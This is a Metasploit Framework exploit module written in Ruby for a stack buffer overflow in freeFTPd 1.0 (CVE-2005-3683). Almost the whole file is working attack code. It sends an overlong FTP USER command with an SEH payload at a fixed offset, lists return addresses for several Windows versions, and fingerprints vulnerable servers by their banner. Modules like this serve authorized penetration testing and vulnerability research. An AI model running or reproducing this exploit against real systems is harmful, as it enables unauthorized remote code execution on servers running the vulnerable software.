metasploit-framework/modules/exploits/windows/ftp/freeftpd_user.rb

100 lines
2.5 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'freeFTPd 1.0 Username Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the freeFTPd
multi-protocol file transfer service. This flaw can only be
exploited when logging has been enabled (non-default).
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-3683'],
[ 'OSVDB', '20909'],
[ 'BID', '15457'],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2005-November/038808.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'Windows 2000 English ALL',
{
'Platform' => 'win',
'Ret' => 0x75022ac4,
},
],
[
'Windows XP Pro SP0/SP1 English',
{
'Platform' => 'win',
'Ret' => 0x71aa32ad,
},
],
[
'Windows NT SP5/SP6a English',
{
'Platform' => 'win',
'Ret' => 0x776a1799,
},
],
[
'Windows 2003 Server English',
{
'Platform' => 'win',
'Ret' => 0x7ffc0638,
},
],
],
'DisclosureDate' => 'Nov 16 2005'
))
end
def check
connect
disconnect
if (banner =~ /freeFTPd 1\.0/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
buf = rand_text_english(1816, payload_badchars)
seh = generate_seh_payload(target.ret)
buf[1008, seh.length] = seh
send_cmd( ['USER', buf] , false)
handler
disconnect
end
end